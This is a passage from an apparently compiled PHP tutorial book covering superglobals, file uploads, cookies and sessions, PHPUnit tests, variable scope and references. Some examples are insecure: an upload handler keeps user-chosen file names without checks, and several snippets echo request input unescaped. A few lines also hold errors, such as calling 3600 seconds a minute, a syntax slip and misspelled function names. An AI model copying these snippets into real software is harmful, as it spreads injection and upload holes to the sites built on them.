'WINDIR' => string 'C:\WINDOWS' (length=10)
'SERVER_SIGNATURE' => string '<address>Apache/2.4.23 (Win64) PHP/7.0.10 Server at localhost
Port 80</address>' (length=80)
'SERVER_SOFTWARE' => string 'Apache/2.4.23 (Win64) PHP/7.0.10' (length=32)
'SERVER_NAME' => string 'localhost' (length=9)
'SERVER_ADDR' => string '::1' (length=3)
'SERVER_PORT' => string '80' (length=2)
'REMOTE_ADDR' => string '::1' (length=3)
'DOCUMENT_ROOT' => string 'C:/wamp64/www' (length=13)
'REQUEST_SCHEME' => string 'http' (length=4)
'CONTEXT_PREFIX' => string '' (length=0)
'CONTEXT_DOCUMENT_ROOT' => string 'C:/wamp64/www' (length=13)
'SERVER_ADMIN' => string '[email protected]' (length=29)
'SCRIPT_FILENAME' => string 'C:/wamp64/www/test.php' (length=26)
'REMOTE_PORT' => string '5359' (length=4)
'GATEWAY_INTERFACE' => string 'CGI/1.1' (length=7)
'SERVER_PROTOCOL' => string 'HTTP/1.1' (length=8)
'REQUEST_METHOD' => string 'GET' (length=3)
'QUERY_STRING' => string '' (length=0)
'REQUEST_URI' => string '/test.php' (length=13)
'SCRIPT_NAME' => string '/test.php' (length=13)
'PHP_SELF' => string '/test.php' (length=13)
'REQUEST_TIME_FLOAT' => float 1491068771.413
'REQUEST_TIME' => int 1491068771

There is a lot to take in there so I will pick out some important ones below. If you wish to read about them all then
consult the indices section of the documentation.

I might add them all below one day. Or someone can edit and add a good explanation of them below? Hint, hint;)

For all explanations below, assume the URL is http://www.example.com/index.php

HTTP_HOST - The host address.

This would return www.example.com
HTTP_USER_AGENT - Contents of the user agent. This is a string which contains all the information about the
client's browser, including operating system.
HTTP_COOKIE - All cookies in a concatenated string, with a semi-colon delimiter.
SERVER_ADDR - The IP address of the server, of which the current script is running.
This would return 93.184.216.34

Complete PHP Tips & Secrets for Professionals 246

 PHP_SELF - The file name of the currently executed script, relative to document root.
This would return /index.php
REQUEST_TIME_FLOAT - The timestamp of the start of the request, with microsecond precision. Available since
PHP 5.4.0.
REQUEST_TIME - The timestamp of the start of the request. Available since PHP 5.1.0.

$_GET

An associative array of variables passed to the current script via the URL parameters.

$_GET is an array that contains all the URL parameters; these are the whatever is after the ? in the URL.

Using http://www.example.com/index.php?myVar=myVal as an example. This information from this URL can be

obtained by accessing in this format $_GET["myVar"] and the result of this will be myVal.

Using some code for those that don't like reading.

// URL = http://www.example.com/index.php?myVar=myVal
echo $_GET["myVar"] == "myVal" ? "true" : "false"; // returns "true"

The above example makes use of the ternary operator.

This shows how you can access the value from the URL using the $_GET superglobal.

Now another example! gasp

// URL = http://www.example.com/index.php?myVar=myVal&myVar2=myVal2
echo $_GET["myVar"]; // returns "myVal"
echo $_GET["myVar2"]; // returns "myVal2"

It is possible to send multiple variables through the URL by separating them with an ampersand (&) character.

Security risk
It is very important not to send any sensitive information via the URL as it will stay in history of the computer and
will be visible to anyone that can access that browser.

$_POST

An associative array of variables passed to the current script via the HTTP POST method when using application/x-
www-form-urlencoded or multipart/form-data as the HTTP Content-Type in the request.

Very similar to $_GET in that data is sent from one place to another.

I'll start by going straight into an example. (I have omitted the action attribute as this will send the information to
the page that the form is in).

<form method="POST">
<input type="text" name="myVar" value="myVal" />
<input type="submit" name="submit" value="Submit" />
</form>

Above is a basic form for which data can be sent. In an real environment the value attribute would not be set
meaning the form would be blank. This would then send whatever information is entered by the user.

echo $_POST["myVar"]); // returns "myVal"

Security risk

Complete PHP Tips & Secrets for Professionals 247

Sending data via POST is also not secure. Using HTTPS will ensure that data is kept more secure.

$_FILES

An associative array of items uploaded to the current script via the HTTP POST method. The structure of this array
is outlined in the POST method uploads section.

Let's start with a basic form.

<form method="POST" enctype="multipart/form-data">

<input type="file" name="myVar" />
<input type="submit" name="Submit" />
</form>

Note that I omitted the action attribute (again!). Also, I added enctype="multipart/form-data", this is important
to any form that will be dealing with file uploads.

// ensure there isn't an error

if ($_FILES["myVar"]["error"] == UPLOAD_ERR_OK)
{
$folderLocation = "myFiles"; // a relative path. (could be "path/to/file" for example)

// if the folder doesn't exist then make it

if (!file_exists($folderLocation)) mkdir($folderLocation);

// move the file into the folder

move_uploaded_file($_FILES["myVar"]["tmp_name"], "$folderLocation/" .
basename($_FILES["myVar"]["name"]));
}

This is used to upload one file. Sometimes you may wish to upload more than one file. An attribute exists for that,
it's called multiple.
There's an attribute for just about anything. I'm sorry

Below is an example of a form submitting multiple files.

<form method="POST" enctype="multipart/form-data">

<input type="file" name="myVar[]" multiple="multiple" />
<input type="submit" name="Submit" />
</form>

Note the changes made here; there are only a few.

The input name has square brackets. This is because it is now an array of files and so we are telling the form
to make an array of the files selected. Omitting the square brackets will result in the latter most file being set
to $_FILES["myVar"].
The multiple="multiple" attribute. This just tells the browser that users can select more than one file.

$total = isset($_FILES["myVar"]) ? count($_FILES["myVar"]["name"]) : 0; // count how many files were

sent
// iterate over each of the files
for ($i = 0; $i < $total; $i++)
{
// there isn't an error
if ($_FILES["myVar"]["error"][$i] == UPLOAD_ERR_OK)
{
$folderLocation = "myFiles"; // a relative path. (could be "path/to/file" for example)

// if the folder doesn't exist then make it

if (!file_exists($folderLocation)) mkdir($folderLocation);

Complete PHP Tips & Secrets for Professionals 248

 // move the file into the folder
move_uploaded_file($_FILES["myVar"]["tmp_name"][$i], "$folderLocation/" .
basename($_FILES["myVar"]["name"][$i]));
}
// else report the error
else switch ($_FILES["myVar"]["error"][$i])
{
case UPLOAD_ERR_INI_SIZE:
echo "Value: 1; The uploaded file exceeds the upload_max_filesize directive in
php.ini.";
break;
case UPLOAD_ERR_FORM_SIZE:
echo "Value: 2; The uploaded file exceeds the MAX_FILE_SIZE directive that was
specified in the HTML form.";
break;
case UPLOAD_ERR_PARTIAL:
echo "Value: 3; The uploaded file was only partially uploaded.";
break;
case UPLOAD_ERR_NO_FILE:
echo "Value: 4; No file was uploaded.";
break;
case UPLOAD_ERR_NO_TMP_DIR:
echo "Value: 6; Missing a temporary folder. Introduced in PHP 5.0.3.";
break;
case UPLOAD_ERR_CANT_WRITE:
echo "Value: 7; Failed to write file to disk. Introduced in PHP 5.1.0.";
break;
case UPLOAD_ERR_EXTENSION:
echo "Value: 8; A PHP extension stopped the file upload. PHP does not provide a way to
ascertain which extension caused the file upload to stop; examining the list of loaded extensions
with phpinfo() may help. Introduced in PHP 5.2.0.";
break;

default:
echo "An unknown error has occured.";
break;
}
}

This is a very simple example and doesn't handle problems such as file extensions that aren't allowed or files
named with PHP code (like a PHP equivalent of an SQL injection). See the documentation.

The first process is checking if there are any files, and if so, set the total number of them to $total.

Using the for loop allows an iteration of the $_FILES array and accessing each item one at a time. If that file doesn't
encounter a problem then the if statement is true and the code from the single file upload is run.
If an problem is encountered the switch block is executed and an error is presented in accordance with the error
for that particular upload.

$_COOKIE

An associative array of variables passed to the current script via HTTP Cookies.

Cookies are variables that contain data and are stored on the client's computer.

Unlike the aforementioned superglobals, cookies must be created with a function (and not be assigning a value).
The convention is below.

setcookie("myVar", "myVal", time() + 3600);

Complete PHP Tips & Secrets for Professionals 249

In this example a name is specified for the cookie (in this example it is "myVar"), a value is given (in this example it is
"myVal", but a variable can be passed to assign its value to the cookie), and then an expiration time is given (in this
example it is one hour since 3600 seconds is a minute).

Despite the convention for creating a cookie being different, it is accessed in the same way as the others.

echo $_COOKIE["myVar"]; // returns "myVal"

To destroy a cookie, setcookie must be called again, but the expiration time is set to any time in the past. See
below.

setcookie("myVar", "", time() - 1);

var_dump($_COOKIE["myVar"]); // returns null

This will unset the cookies and remove it from the clients computer.

$_SESSION

An associative array containing session variables available to the current script. See the Session functions
documentation for more information on how this is used.

Sessions are much like cookies except they are server side.

To use sessions you must include session_start() at the top of your scripts to allow sessions to be utilised.

Setting a session variable is the same as setting any other variable. See example below.

$_SESSION["myVar"] = "myVal";

When starting a session a random ID is set as a cookie and called "PHPSESSID" and will contain the session ID for
that current session. This can be accessed by calling the session_id() function.

It is possible to destroy session variables using the unset function (such that unset($_SESSION["myVar"]) would
destroy that variable).
The alternative is to call session_destory(). This will destroy the entire session meaning that all session variables
will no longer exist.

$_REQUEST

An associative array that by default contains the contents of $_GET, $_POST and $_COOKIE.

As the PHP documentation states, this is just a collation of $_GET, $_POST, and $_COOKIE all in one variable.

Since it is possible for all three of those arrays to have an index with the same name, there is a setting in the
php.ini file called request_order which can specify which of the three has precedence.
For instance, if it was set to "GPC", then the value of $_COOKIE will be used, as it is read from left to right meaning
the $_REQUEST will set its value to $_GET, then $_POST, and then $_COOKIE and since $_COOKIE is last that is the value
that is in $_REQUEST.
See this question.

$_ENV

An associative array of variables passed to the current script via the environment method.

These variables are imported into PHP's global namespace from the environment under which the PHP parser is
running. Many are provided by the shell under which PHP is running and different systems are likely running
different kinds of shells, a definitive list is impossible. Please see your shell's documentation for a list of defined

Complete PHP Tips & Secrets for Professionals 250

environment variables.

Other environment variables include the CGI variables, placed there regardless of whether PHP is running as a
server module or CGI processor.

Anything stored within $_ENV is from the environment from which PHP is running in.

$_ENV is only populated if php.ini allows it.

See this answer for more information on why $_ENV is not populated.

Section 53.2: PHP5 SuperGlobals

Below are the PHP5 SuperGlobals

$GLOBALS
$_REQUEST
$_GET
$_POST
$_FILES
$_SERVER
$_ENV
$_COOKIE
$_SESSION

$GLOBALS: This SuperGlobal Variable is used for accessing globals variables.

<?php
$a = 10;
function foo(){
echo $GLOBALS['a'];
}
//Which will print 10 Global Variable a
?>

$_REQUEST: This SuperGlobal Variable is used to collect data submitted by a HTML Form.

<?php
if(isset($_REQUEST['user'])){
echo $_REQUEST['user'];
}
//This will print value of HTML Field with name=user submitted using POST and/or GET MEthod
?>

$_GET: This SuperGlobal Variable is used to collect data submitted by HTML Form with get method.

<?php
if(isset($_GET['username'])){
echo $_GET['username'];
}
//This will print value of HTML field with name username submitted using GET Method
?>

$_POST: This SuperGlobal Variable is used to collect data submitted by HTML Form with post method.

<?php
if(isset($_POST['username'])){
echo $_POST['username'];
}
//This will print value of HTML field with name username submitted using POST Method

Complete PHP Tips & Secrets for Professionals 251

?>

$_FILES: This SuperGlobal Variable holds the information of uploaded files via HTTP Post method.

<?php
if($_FILES['picture']){
echo "<pre>";
print_r($_FILES['picture']);
echo "</pre>";
}
/**
This will print details of the File with name picture uploaded via a form with method='post and with
enctype='multipart/form-data'
Details includes Name of file, Type of File, temporary file location, error code(if any error occured
while uploading the file) and size of file in Bytes.
Eg.

Array
(
[picture] => Array
(
[0] => Array
(
[name] => 400.png
[type] => image/png
[tmp_name] => /tmp/php5Wx0aJ
[error] => 0
[size] => 15726
)
)
)

*/
?>

$_SERVER: This SuperGlobal Variable holds information about Scripts, HTTP Headers and Server Paths.

<?php
echo "<pre>";
print_r($_SERVER);
echo "</pre>";
/**
Will print the following details
on my local XAMPP
Array
(
[MIBDIRS] => C:/xampp/php/extras/mibs
[MYSQL_HOME] => \xampp\mysql\bin
[OPENSSL_CONF] => C:/xampp/apache/bin/openssl.cnf
[PHP_PEAR_SYSCONF_DIR] => \xampp\php
[PHPRC] => \xampp\php
[TMP] => \xampp\tmp
[HTTP_HOST] => localhost
[HTTP_CONNECTION] => keep-alive
[HTTP_CACHE_CONTROL] => max-age=0
[HTTP_UPGRADE_INSECURE_REQUESTS] => 1
[HTTP_USER_AGENT] => Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/52.0.2743.82 Safari/537.36
[HTTP_ACCEPT] => text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*;q=0.8
[HTTP_ACCEPT_ENCODING] => gzip, deflate, sdch
[HTTP_ACCEPT_LANGUAGE] => en-US,en;q=0.8
[PATH] => C:\xampp\php;C:\ProgramData\ComposerSetup\bin;

Complete PHP Tips & Secrets for Professionals 252

 [SystemRoot] => C:\Windows
[COMSPEC] => C:\Windows\system32\cmd.exe
[PATHEXT] => .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
[WINDIR] => C:\Windows
[SERVER_SIGNATURE] => Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.6.12 Server at localhost Port 80
[SERVER_SOFTWARE] => Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.6.12
[SERVER_NAME] => localhost
[SERVER_ADDR] => ::1
[SERVER_PORT] => 80
[REMOTE_ADDR] => ::1
[DOCUMENT_ROOT] => C:/xampp/htdocs
[REQUEST_SCHEME] => http
[CONTEXT_PREFIX] =>
[CONTEXT_DOCUMENT_ROOT] => C:/xampp/htdocs
[SERVER_ADMIN] => postmaster@localhost
[SCRIPT_FILENAME] => C:/xampp/htdocs/abcd.php
[REMOTE_PORT] => 63822
[GATEWAY_INTERFACE] => CGI/1.1
[SERVER_PROTOCOL] => HTTP/1.1
[REQUEST_METHOD] => GET
[QUERY_STRING] =>
[REQUEST_URI] => /abcd.php
[SCRIPT_NAME] => /abcd.php
[PHP_SELF] => /abcd.php
[REQUEST_TIME_FLOAT] => 1469374173.88
[REQUEST_TIME] => 1469374173
)
*/
?>

$_ENV: This SuperGlobal Variable Shell Environment Variable details under which the PHP is running.

$_COOKIE: This SuperGlobal Variable is used to retrieve Cookie value with given Key.

<?php
$cookie_name = "data";
$cookie_value = "Foo Bar";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day
if(!isset($_COOKIE[$cookie_name])) {
echo "Cookie named '" . $cookie_name . "' is not set!";
}
else {
echo "Cookie '" . $cookie_name . "' is set!<br>";
echo "Value is: " . $_COOKIE[$cookie_name];
}

/**
Output
Cookie 'data' is set!
Value is: Foo Bar
*/
?>

$_SESSION: This SuperGlobal Variable is used to Set and Retrieve Session Value which is stored on Server.

<?php
//Start the session
session_start();
/**
Setting the Session Variables
that can be accessed on different
pages on save server.

Complete PHP Tips & Secrets for Professionals 253

*/
$_SESSION["username"] = "John Doe";
$_SESSION["user_token"] = "d5f1df5b4dfb8b8d5f";
echo "Session is saved successfully";

/**
Output
Session is saved successfully
*/
?>

Chapter 54: Unit Testing

Complete list of assertions. Examples:
assertTrue(bool $condition[, string $messageIfFalse = '']);
assertEquals(mixed $expected, mixed $actual[, string $messageIfNotEqual = '']);

Section 54.1: Testing class rules

Let's say, we have a simple LoginForm class with rules() method (used in login page as framework template):

class LoginForm {
public $email;
public $rememberMe;
public $password;

/* rules() method returns an array with what each field has as a requirement.
* Login form uses email and password to authenticate user.
*/
public function rules() {
return [
// Email and Password are both required
[['email', 'password'], 'required'],

// Email must be in email format

['email', 'email'],

// rememberMe must be a boolean value

['rememberMe', 'boolean'],

// Password must match this pattern (must contain only letters and numbers)
['password', 'match', 'pattern' => '/^[a-z0-9]+$/i'],
];
}

/** the validate function checks for correctness of the passed rules */
public function validate($rule) {
$success = true;
list($var, $type) = $rule;
foreach ((array) $var as $var) {
switch ($type) {
case "required":
$success = $success && $this->$var != "";
break;
case "email":
$success = $success && filter_var($this->$var, FILTER_VALIDATE_EMAIL);
break;
case "boolean":
$success = $success && filter_var($this->$var, FILTER_VALIDATE_BOOLEAN,
FILTER_NULL_ON_FAILURE) !== null;
break;

Complete PHP Tips & Secrets for Professionals 254

 case "match":
$success = $success && preg_match($rule["pattern"], $this->$var);
break;
default:
throw new \InvalidArgumentException("Invalid filter type passed")
}
}
return $success;
}
}

In order to perform tests on this class, we use Unit tests (checking source code to see if it fits our expectations):

class LoginFormTest extends TestCase {

protected $loginForm;

// Executing code on the start of the test

public function setUp() {
$this->loginForm = new LoginForm;
}

// To validate our rules, we should use the validate() method

/**
* This method belongs to Unit test class LoginFormTest and
* it's testing rules that are described above.
*/
public function testRuleValidation() {
$rules = $this->loginForm->rules();

// Initialize to valid and test this

$this->loginForm->email = "[email protected]";
$this->loginForm->password = "password";
$this->loginForm->rememberMe = true;
$this->assertTrue($this->loginForm->validate($rules), "Should be valid as nothing is
invalid");

// Test email validation

// Since we made email to be in email format, it cannot be empty
$this->loginForm->email = '';
$this->assertFalse($this->loginForm->validate($rules), "Email should not be valid
(empty)");

// It does not contain "@" in string so it's invalid

$this->loginForm->email = 'invalid.email.com';
$this->assertFalse($this->loginForm->validate($rules), "Email should not be valid (invalid
format)");

// Revert email to valid for next test

$this->loginForm->email = '[email protected]';

// Test password validation

// Password cannot be empty (since it's required)
$this->loginForm->password = '';
$this->assertFalse($this->loginForm->validate($rules), "Password should not be valid
(empty)");

// Revert password to valid for next test

$this->loginForm->password = 'ThisIsMyPassword';

// Test rememberMe validation

$this->loginForm->rememberMe = 999;

Complete PHP Tips & Secrets for Professionals 255

 $this->assertFalse($this->loginForm->validate($rules), "RememberMe should not be valid
(integer type)");

// Revert remeberMe to valid for next test

$this->loginForm->rememberMe = true;
}
}

How exactly Unit tests can help with (excluding general examples) in here? For example, it fits very well when we
get unexpected results. For example, let's take this rule from earlier:

['password', 'match', 'pattern' => '/^[a-z0-9]+$/i'],

Instead, if we missed one important thing and wrote this:

['password', 'match', 'pattern' => '/^[a-z0-9]$/i'],

With dozens of different rules (assuming we are using not just email and password), it's difficult to detect mistakes.
This unit test:

// Initialize to valid and test this

$this->loginForm->email = "[email protected]";
$this->loginForm->password = "password";
$this->loginForm->rememberMe = true;
$this->assertTrue($this->loginForm->validate($rules), "Should be valid as nothing is invalid");

Will pass our first example but not second. Why? Because in 2nd example we wrote a pattern with a typo (missed +
sign), meaning it only accepts one letter/number.

Unit tests can be run in console with command: phpunit [path_to_file]. If everything is OK, we should be able to
see that all tests are in OK state, else we will see either Error (syntax errors) or Fail (at least one line in that method
did not pass).

With additional parameters like --coverage we can also see visually how many lines in backend code were tested
and which passed/failed. This applies to any framework that has installed PHPUnit.

Example how PHPUnit test looks like in console (general look, not according to this example):

Complete PHP Tips & Secrets for Professionals 256

Section 54.2: PHPUnit Data Providers
Test methods often need data to be tested with. To test some methods completely you need to provide different
data sets for every possible test condition. Of course, you can do it manually using loops, like this:

...
public function testSomething()
{
$data = [...];
foreach($data as $dataSet) {
$this->assertSomething($dataSet);
}
}
...

And someone can find it convenient. But there are some drawbacks of this approach. First, you'll have to perform
additional actions to extract data if your test function accepts several parameters. Second, on failure it would be
difficult to distinguish the failing data set without additional messages and debugging. Third, PHPUnit provides
automatic way to deal with test data sets using data providers.

Data provider is a function, that should return data for your particular test case.

Complete PHP Tips & Secrets for Professionals 257

A data provider method must be public and either return an array of arrays or an object that implements the
Iterator interface and yields an array for each iteration step. For each array that is part of the collection the test
method will be called with the contents of the array as its arguments.

To use a data provider with your test, use @dataProvider annotation with the name of data provider function
specified:

/**
* @dataProvider dataProviderForTest
*/
public function testEquals($a, $b)
{
$this->assertEquals($a, $b);
}

public function dataProviderForTest()

{
return [
[1,1],
[2,2],
[3,2] //this will fail
];
}
Array of arrays

Note that dataProviderForTest() returns array of arrays. Each nested array has two elements and they will fill
necessary parameters for testEquals() one by one. Error like this will be thrown Missing argument 2 for
Test::testEquals() if there are not enough elements. PHPUnit will automatically loop through data and run tests:

public function dataProviderForTest()

{
return [
[1,1], // [0] testEquals($a = 1, $b = 1)
[2,2], // [1] testEquals($a = 2, $b = 2)
[3,2] // [2] There was 1 failure: 1) Test::testEquals with data set #2 (3, 4)
];
}

Each data set can be named for convenience. It will be easier to detect failing data:

public function dataProviderForTest()

{
return [
'Test 1' => [1,1], // [0] testEquals($a = 1, $b = 1)
'Test 2' => [2,2], // [1] testEquals($a = 2, $b = 2)
'Test 3' => [3,2] // [2] There was 1 failure:
// 1) Test::testEquals with data set "Test 3" (3, 4)
];
}
Iterators
class MyIterator implements Iterator {
protected $array = [];

public function __construct($array) {

$this->array = $array;
}

function rewind() {
return reset($this->array);
}

Complete PHP Tips & Secrets for Professionals 258

 function current() {
return current($this->array);
}

function key() {
return key($this->array);
}

function next() {
return next($this->array);
}

function valid() {
return key($this->array) !== null;
}
}
...

class Test extends TestCase

{
/**
* @dataProvider dataProviderForTest
*/
public function testEquals($a)
{
$toCompare = 0;

$this->assertEquals($a, $toCompare);
}

public function dataProviderForTest()

{
return new MyIterator([
'Test 1' => [0],
'Test 2' => [false],
'Test 3' => [null]
]);
}
}

As you can see, simple iterator also works.

Note that even for a single parameter, data provider must return an array [$parameter]

Because if we change our current() method (which actually return data on every iteration) to this:

function current() {
return current($this->array)[0];
}

Or change actual data:

return new MyIterator([

'Test 1' => 0,
'Test 2' => false,
'Test 3' => null
]);

We'll get an error:

There was 1 warning:

Complete PHP Tips & Secrets for Professionals 259

1) Warning
The data provider specified for Test::testEquals is invalid.

Of course, it is not useful to use Iterator object over a simple array. It should implement some specific logic for
your case.

Generators

It is not explicitly noted and shown in manual, but you can also use a generator as data provider. Note that
Generator class actually implements Iterator interface.

So here's an example of using DirectoryIterator combined with generator:

/**
* @param string $file
*
* @dataProvider fileDataProvider
*/
public function testSomethingWithFiles($fileName)
{
//$fileName is available here

//do test here

}

public function fileDataProvider()

{
$directory = new DirectoryIterator('path-to-the-directory');

foreach ($directory as $file) {

if ($file->isFile() && $file->isReadable()) {
yield [$file->getPathname()]; // invoke generator here.
}
}
}

Note provider yields an array. You'll get an invalid-data-provider warning instead.

Section 54.3: Test exceptions

Let's say you want to test method which throws an exception

class Car
{
/**
* @throws \Exception
*/
public function drive()
{
throw new \Exception('Useful message', 1);
}
}

You can do that by enclosing the method call into a try/catch block and making assertions on execption object's
properties, but more conveniently you can use exception assertion methods. As of PHPUnit 5.2 you have expectX()
methods available for asserting exception type, message & code

class DriveTest extends PHPUnit_Framework_TestCase

{
public function testDrive()
{

Complete PHP Tips & Secrets for Professionals 260

 // prepare
$car = new \Car();
$expectedClass = \Exception::class;
$expectedMessage = 'Useful message';
$expectedCode = 1;

// test
$this->expectException($expectedClass);
$this->expectMessage($expectedMessage);
$this->expectCode($expectedCode);

// invoke
$car->drive();
}
}

If you are using earlier version of PHPUnit, method setExpectedException can be used in stead of expectX()
methods, but keep in mind that it's deprecated and will be removed in version 6.

class DriveTest extends PHPUnit_Framework_TestCase

{
public function testDrive()
{
// prepare
$car = new \Car();
$expectedClass = \Exception::class;
$expectedMessage = 'Useful message';
$expectedCode = 1;

// test
$this->setExpectedException($expectedClass, $expectedMessage, $expectedCode);

// invoke
$car->drive();
}
}

Chapter 55: Variable Scope

Variable scope refers to the regions of code where a variable may be accessed. This is also referred to as visibility. In
PHP scope blocks are defined by functions, classes, and a global scope available throughout an application.

Section 55.1: Superglobal variables

Superglobal variables are defined by PHP and can always be used from anywhere without the global keyword.

<?php

function getPostValue($key, $default = NULL) {

// $_POST is a superglobal and can be used without
// having to specify 'global $_POST;'
if (isset($_POST[$key])) {
return $_POST[$key];
}

return $default;
}

// retrieves $_POST['username']
echo getPostValue('username');

Complete PHP Tips & Secrets for Professionals 261

// retrieves $_POST['email'] and defaults to empty string
echo getPostValue('email', '');

Section 55.2: Static properties and variables

Static class properties that are defined with the public visibility are functionally the same as global variables. They
can be accessed from anywhere the class is defined.

class SomeClass {
public static int $counter = 0;
}

// The static $counter variable can be read/written from anywhere

// and doesn't require an instantiation of the class
SomeClass::$counter += 1;

Functions can also define static variables inside their own scope. These static variables persist through multiple
function calls, unlike regular variables defined in a function scope. This can be a very easy and simple way to
implement the Singleton design pattern:

class Singleton {
public static function getInstance() {
// Static variable $instance is not deleted when the function ends
static $instance;

// Second call to this function will not get into the if-statement,
// Because an instance of Singleton is now stored in the $instance
// variable and is persisted through multiple calls
if (!$instance) {
// First call to this function will reach this line,
// because the $instance has only been declared, not initialized
$instance = new Singleton();
}

return $instance;

}
}

$instance1 = Singleton::getInstance();
$instance2 = Singleton::getInstance();

// Comparing objects with the '===' operator checks whether they are
// the same instance. Will print 'true', because the static $instance
// variable in the getInstance() method is persisted through multiple calls
var_dump($instance1 === $instance2);

Section 55.3: User-defined global variables

The scope outside of any function or class is the global scope. When a PHP script includes another (using include
or require) the scope remains the same. If a script is included outside of any function or class, it's global variables
are included in the same global scope, but if a script is included from within a function, the variables in the included
script are in the scope of the function.

Within the scope of a function or class method, the global keyword may be used to create an access user-defined
global variables.

<?php

$amount_of_log_calls = 0;

Complete PHP Tips & Secrets for Professionals 262

function log_message($message) {
// Accessing global variable from function scope
// requires this explicit statement
global $amount_of_log_calls;

// This change to the global variable is permanent

$amount_of_log_calls += 1;

echo $message;
}

// When in the global scope, regular global variables can be used

// without explicitly stating 'global $variable;'
echo $amount_of_log_calls; // 0

log_message("First log message!");

echo $amount_of_log_calls; // 1

log_message("Second log message!");

echo $amount_of_log_calls; // 2

A second way to access variables from the global scope is to use the special PHP-defined $GLOBALS array.

The $GLOBALS array is an associative array with the name of the global variable being the key and the contents of
that variable being the value of the array element. Notice how $GLOBALS exists in any scope, this is because
$GLOBALS is a superglobal.

This means that the log_message() function could be rewritten as:

function log_message($message) {
// Access the global $amount_of_log_calls variable via the
// $GLOBALS array. No need for 'global $GLOBALS;', since it
// is a superglobal variable.
$GLOBALS['amount_of_log_calls'] += 1;

echo $messsage;
}

One might ask, why use the $GLOBALS array when the global keyword can also be used to get a global variable's
value? The main reason is using the global keyword will bring the variable into scope. You then can't reuse the
same variable name in the local scope.

Chapter 56: References

$foo = 1; $bar = &$foo; // both $foo and $bar point to the same value: 1
$var = 1; function calc(&$var) { $var *= 15; } calc($var); echo $var;

Section 56.1: Assign by Reference

This is the first phase of referencing. Essentially when you assign by reference, you're allowing two variables to
share the same value as such.

$foo = &$bar;

$foo and $bar are equal here. They do not point to one another. They point to the same place (the "value").

You can also assign by reference within the array() language construct. While not strictly being an assignment by
reference.

Complete PHP Tips & Secrets for Professionals 263

$foo = 'hi';
$bar = array(1, 2);
$array = array(&$foo, &$bar[0]);

Note, however, that references inside arrays are potentially dangerous. Doing a normal (not by reference)
assignment with a reference on the right side does not turn the left side into a reference, but references inside
arrays are preserved in these normal assignments. This also applies to function calls where the array is passed by
value.

Assigning by reference is not only limited to variables and arrays, they are also present for functions and all "pass-
by-reference" associations.

function incrementArray(&$arr) {
foreach ($arr as &$val) {
$val++;
}
}

function &getArray() {
static $arr = [1, 2, 3];
return $arr;
}

incrementArray(getArray());
var_dump(getArray()); // prints an array [2, 3, 4]

Assignment is key within the function definition as above. You can not pass an expression by reference, only a
value/variable. Hence the instantiation of $a in bar().

Section 56.2: Return by Reference

Occasionally there comes time for you to implicitly return-by-reference.

Returning by reference is useful when you want to use a function to find to which variable a reference should be
bound. Do not use return-by-reference to increase performance. The engine will automatically optimize this on its
own. Only return references when you have a valid technical reason to do so.

Taken from the PHP Documentation for Returning By Reference.

There are many different forms return by reference can take, including the following example:

function parent(&$var) {
echo $var;
$var = "updated";
}

function &child() {
static $a = "test";
return $a;
}

parent(child()); // returns "test"

parent(child()); // returns "updated"

Return by reference is not only limited to function references. You also have the ability to implicitly call the function:

function &myFunction() {
static $a = 'foo';
return $a;
}

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$bar = &myFunction();
$bar = "updated"
echo myFunction();

You cannot directly reference a function call, it has to be assigned to a variable before harnessing it. To see how that
works, simply try echo &myFunction();.

Notes

You are required to specify a reference (&) in both places you intend on using it. That means, for your
function definition (function &myFunction() {...) and in the calling reference (function
callFunction(&$variable) {... or &myFunction();).
You can only return a variable by reference. Hence the instantiation of $a in the example above. This means
you can not return an expression, otherwise an E_NOTICE PHP error will be generated (Notice: Only
variable references should be returned by reference in ......).
Return by reference does have legitimate use cases, but I should warn that they should be used sparingly,
only after exploring all other potential options of achieving the same goal.

Section 56.3: Pass by Reference

This allows you to pass a variable by reference to a function or element that allows you to modify the original
variable.

Passing-by-reference is not limited to variables only, the following can also be passed by reference:

New statements, e.g. foo(new SomeClass)

References returned from functions

Arrays

A common use of "passing-by-reference" is to modify initial values within an array without going to the extent of
creating new arrays or littering your namespace. Passing-by-reference is as simple as preceding/prefixing the
variable with an & => &$myElement.

Below is an example of harnessing an element from an array and simply adding 1 to its initial value.

$arr = array(1, 2, 3, 4, 5);

foreach($arr as &$num) {
$num++;
}

Now when you harness any element within $arr, the original element will be updated as the reference was
increased. You can verify this by:

print_r($arr);

Note

You should take note when harnessing pass by reference within loops. At the end of the above loop, $num still holds
a reference to the last element of the array. Assigning it post loop will end up manipulating the last array element!
You can ensure this doesn't happen by unset()'ing it post-loop:

$myArray = array(1, 2, 3, 4, 5);

foreach($myArray as &$num) {
$num++;
}

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unset($num);

The above will ensure you don't run into any issues. An example of issues that could relate from this is present in
this question on StackOverflow.

Functions

Another common usage for passing-by-reference is within functions. Modifying the original variable is as simple as:

$var = 5;
// define
function add(&$var) {
$var++;
}
// call
add($var);

Which can be verified by echo'ing the original variable.

echo $var;

There are various restrictions around functions, as noted below from the PHP docs:

Note: There is no reference sign on a function call - only on function definitions. Function definitions alone are
enough to correctly pass the argument by reference. As of PHP 5.3.0, you will get a warning saying that "call-time
pass-by-reference" is deprecated when you use & in foo(&$a);. And as of PHP 5.4.0, call-time pass-by-reference was
removed, so using it will raise a fatal error.

Chapter 57: Compilation of Errors and Warnings

Section 57.1: Parse error: syntax error, unexpected
T_PAAMAYIM_NEKUDOTAYIM
Appearance:

"Paamayim Nekudotayim" means "double colon" in Hebrew; thus this error refers to the inappropriate use of the
double colon operator (::). The error is typically caused by an attempt to call a static method that is, in fact, not
static.

Possible Solution:

$classname::doMethod();

If the above code causes this error, you most likely need to simply change the way you call the method:

$classname->doMethod();

The latter example assumes that $classname is an instance of a class, and the doMethod() is not a static method of
that class.

Section 57.2: Notice: Undefined index

Appearance :

Trying to access an array by a key that does not exist in the array

Possible Solution :

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Check the availability before accessing it. Use:

1. isset()
2. array_key_exists()

Section 57.3: Warning: Cannot modify header information - headers

already sent
Appearance :

Happens when your script tries to send a HTTP header to the client but there already was output before, which
resulted in headers to be already sent to the client.

Possible Causes :

